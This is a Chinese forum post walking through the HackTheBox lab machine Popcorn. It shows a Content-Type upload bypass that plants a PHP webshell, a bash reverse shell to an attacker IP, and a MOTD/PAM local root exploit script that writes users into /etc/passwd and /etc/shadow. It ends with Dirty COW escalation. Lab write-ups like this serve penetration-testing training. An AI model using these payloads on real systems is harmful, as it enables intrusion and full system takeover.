电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 446 人浏览分享

HTB靶机渗透系列之Popcorn

[复制链接]
446 0
Popcorn是一个中等难度的靶机,知识点涉及文件上传绕过、MODT提权、脏牛提权等感兴趣
的同学可以在HackTheBox中进行学习。

1667288063_6360cbff591256fb26ea6.png

通关思维导图

1667288065_6360cc014917d09f5e377.png

0x01 侦查

端口探测

首先通过nmap对目标进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.6 -oA nmap_Popcorn

QQ截图20221110104747.png

扫描结果显示目标开放了22、80端口

80端口

访问后是 Apache 默认运行界面

1667288068_6360cc04adee0177d4e56.png

使用 gobuster 扫描发现目录/test、/torrent、/rename

gobuster dir -u http://10.10.10.6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

66666666666.png

test

访问目录/test是phpinfo界面。其中值得注意的是配置是file_uploads=open
如果存在文件包含可执行代码

1667288071_6360cc07890916b032122.png

rename

访问目录/rename是一个用于重命名的 API 接口

66666699.png

尝试构造 payload 将index.html重命名为mac.html

http://10.10.10.6/rename/index.php?filename=index.html&newfilename=mac.html

6666698.png

但并没有成功重命名,与此同时它还暴露了绝对路径。那么我们可以有这样一个思路:找到一个文件上传点上传
带有php 代码的图片,通过这个 API 修改后缀名为 php,从而达到上传木马的效果

torrent

目录/torrent提供 Torrent Hoster 的实例,但点击Upload会重定向到登录界面由此推断使用该功能需要经过身份认证

1667288075_6360cc0be3cc964aefdae.png

访问Browse存在一个名为 Kali Linux 的torrent

QQ截图20221110105932.png

尝试在其中注册用户mac/mac并输入邮箱mac@mac.com

18888.png

18887.png

使用刚注册的账户mac/mac登录成功

18886.png

在Upload功能点中能够上传Torrent种子文件

18882.png

尝试在此处上传 webshell,但上传失败。

18881.png

那么尝试上传一个有效的Torrent种子文件呢?
Kali种子地址:https://kali.download/base-images/kali-2022.1/kali-linux-2022.1
-installer-amd64.iso.torrent

18880.png

提交上传后等一分钟可重定向至Torrent界面

868318.png

点击Edit this torrent后会跳出新表单如下:

18879.png

在其中上传与该种子相关的图片,结果显示上传完成

18878.png

图片地址为/thumbnail.php?gd=2&src=./upload/708759a17400cb3d4368e4769048f3d61e546
6e3.png&maxw=96,此 URL 结构可能存在文件包含漏洞

18877.png

与此同时src还指向了一个路径http://10.10.10.6/torrent/upload/,访问后发现上传的所有图片路径

18876.png

0x02 上线[www-data]

文件上传绕过

综上可以发现两个文件上传点,分别为 torrent 以及 torrent 对应图片。显然我们对图片上传点更感兴趣
但直接上传 webshell 目标会进行拦截,尝试使用一些常见的绕过方法进行测试

修改文件扩展名

修改 Content-Type

修改文件上传内容

上传图片后使用 BurpSuite 截取数据包并发送至 Repeater 进行测试

1869.png

尝试直接修改文件扩展名为.php、Content-Type为application/x-php,点击发送后无法上传

1868.png

尝试修改Content-Type值为image/png后上传成功,猜测 web 应用程序主要判断Content-type类型
将其修改为正常的图片类型可绕过上传限制

1867.png

为了验证这一猜想,尝试只修改图片上传数据包的Content-type的值 结果同样也无法上传说明猜想正确

1865.png

访问/torrent/upload路径并找到上传木马文件的地址

182.png

访问木马地址并尝试执行命令,命令执行成功

curl http://10.10.10.6/torrent/upload/708759a17400cb3d4368e4769048f
3d61e5466e3.php?cmd=id

181.png

反弹shell

在本地监听 443 端口用于接收反弹shell

nc nvlp 443

使用木马执行命令执行反弹shell

curl http://10.10.10.6/torrent/upload/708759a17400cb3d4368e4769048f3d61e5466e3.php --data-urlen
code "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"

180.png

收到反弹shell后在/home目录中成功找到第一个flag

cd /home/george
cat user.txt

169.png

0x03 权限提升[root]

MODT提权

枚举/home目录发现文件motd.legal-displayed,MOTD 是 message of the day 的缩写,通常在用户成
功登录到Linux 后出现,其内容就是登录后的提示信息,而此类文件的出现意味着可能存在 Ubuntu PAM
MOTD 本地提权漏洞(CVE-2010-0832)

参考文章:https://www.exploit-db.com/exploits/14339

ls -la

find . -type f -ls

168.png

126.png

通过阅读该漏洞的利用代码可知:Ubuntu 在用户登录时会调用 PAM 对~/.cache设置目录权限,只要将~/.cache替换
为需要的文件符号链接,比如passwd。替换完成后再次登录该文件会被当前用户调用,从而完成权限提升。但由于当
前环境为反弹shell,无法进行用户登录,因此我们需要将 SSH 密钥写入服务器当中用于免密登录

SSH免密登录
查看当前用户对~/.cache目录的权限,该目录中的motd.legal-displayed归 george 所有权限
为可读可写,因此无法删除该文件

ls -l .cache

122.png

在当前用户的主目录/var/www下创建.ssh目录后使用 ssh-keygen 生成 SSH 密钥对

cd ~
mkdir .ssh
ssh-keygen -q -t rsa -N '' -C 'pam'
ls .ssh

121.png

复制公钥为authorized_keys并将权限设置为600

cp .ssh/id_rsa.pub .ssh/authorized_keys

chmod 600 .ssh/authorized_keys

100.png

需要注意的是目录中并没有.cache目录

ls -la

99.png

复制 www-data 用户私钥至本地后指定密钥完成 ssh 免密登录

chmod 600 key

ssh -i key www-data@10.10.10.6

98.png

在用户主目录/var/www下出现~/.cache目录,并在其中发现motd.legal-displayed文件

find .cache/ -type f -ls

96.png

添加用户

删除~/.cache目录并替换为/etc/passwd的文件符号链接

rm -rf ~/.cache
ln -s /etc/passwd ~/.cache
ls -la ~/.cache

89.png

再次登录 ssh 发现/etc/passwd权限已经归 www-data 所有,既然有了写入权限,那么就可以在其中尝试添加管理员用户

ssh -i key www-data@10.10.10.6

ls -la /etc/passwd

88.png

利用 openssl 生成密码的哈希值

openssl passwd -1 mac

86.png

尝试添加用户至/etc/passwd,其中用户和密码都是 mac,用户和用户组都为0代表 root
描述为 pwned,主目录是/root,shell 是/bin/bash

echo 'mac:$1$Of8Jy30x$uJx7pE./n1MKDpac9gBsk1:0:0:pw
ned:/root:/bin/bash' >> /etc/passwd

使用su命令获取 root 权限

su - mac

id

38.png

在/root目录下成功找到第二个flag

cat root.txt

22.png

脚本分析

P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTW
LKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "
  • Ubuntu PAM MOTD local root"
    [ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
    [ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
    [ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
    backup() {
        [ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
        [ -e "$1" ] || return 0
        mv "$1"{,.bak} || return 1
        echo "
  • Backuped $1"
    }
    restore() {
        [ -e "$1" ] && rm -rf "$1"
        [ -e "$1".bak ] || return 0
        mv "$1"{.bak,} || return 1
        echo "
  • Restored $1"
    }
    key_create() {
        backup ~/.ssh/authorized_keys
        ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
        [ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
        mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
        echo "
  • SSH key set up"
    }
    key_remove() {
        rm -f "$KEY"
        restore ~/.ssh/authorized_keys
        echo "
  • SSH key removed"
    }
    own() {
        [ -e ~/.cache ] && rm -rf ~/.cache
        ln -s "$1" ~/.cache || return 1
        echo "
  • spawn ssh"
        ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
        [ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
        echo "[+] owned: $1"
    }
    bye() {
        key_remove
        exit 1
    }
    KEY="$(mktemp -u)"
    key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
    backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
    own /etc/passwd && echo "$P" >> /etc/passwd
    own /etc/shadow && echo "$S" >> /etc/shadow
    restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
    key_remove
    echo "[+] Success! Use password toor to get root"
    su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
      chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor

    脚本分别定义了backup()、restore()、key_create()、key_remove()、own()、bye()等一堆函数,执行流程如下:

    key_create()创建SSH密钥对以便当前用户通过私钥无密码登录
    backup()备份~/.cache目录
    own()会删除~/.cache目录并创建文件符号链接,通过该函数分别指向/etc/passwd、/etc/shadow
    然后断开连接验证当前用户是否已拥有目标文件的写入权限
    restore()用来恢复~/.cache目录
    key_remove()则会清理刚刚添加的SSH密钥
    清理痕迹完成后再自动启动 root 权限的 shell

    脏牛提权

    脏牛提权是 Linux 中经典的内核提权方式,首先使用命令查看系统版本

    uname -a

    21.png

    在漏洞利用参考列表中发现该版本的 ubuntu 系统能够使用脏牛提权根据 POC列表我们
    可使用 dirty.c直接提权

    参考列表:https://github.com/dirtycow/dirtycow.github.io/wiki/Patched-Kernel-Versions

    POC列表:https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

    使用 python 开启 web 服务用于传输利用代码dirty.c

    python3 -m http.server 80

    在靶机中通过 wget 下载利用代码并完成编译

    wget http://10.10.14.7/dirty.c
    chmod 777 dirty.c
    gcc -pthread dirty.c -o dirty -lcrypt

    20.png

    运行后可成功提权

    chmod +x dirty

    ./dirty

    19.png

    由于su命令必须在终端执行,因此需要以 www-data 用户身份登录 ssh输入以上
    账号密码可成功获取 root 权限

    su - firefart

    id

    18.png

    0x04 总结

    Popcorn 译为爆米花,通过对站点进行目录扫描后发现三个目录,分别是phpinfo界面、重命名API以及提供Torrent
    Hoster 实例的应用程序。在应用中注册用户后发现存在种子文件上传点和对应的图片上传点。在尝试对图片上传点
    上传木马后发现应用存在防御机制,修改 Content-Type 可绕过限制。利用目录遍历遍历发现上传后的木马位置使
    用木马执行命令可成功收到反弹shell。

    上线后当前权限为 www-data,通过信息收集发现 MOTD 文件,MODT 存在历史提权漏洞,其主要成因是用户登录
    时会调用 PAM 对~/.cache设置目录权限,因此需要生成密钥对来登录目标用户ssh 将~/.cache替换为/etc/passwd
    的文件符号链接,再次登录后会调用 PAM 重设该命令所有者,最终在/etc/passwd中添加管理员用户完成权限提升
    当然还有个经典方法:脏牛提权,这个方式就不再赘述了。

  • 您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    1

    关注

    0

    粉丝

    9021

    主题
    精彩推荐
    热门资讯
    网友晒图
    图文推荐

    Powered by Pcgho! X3.4

    © 2008-2022 Pcgho Inc.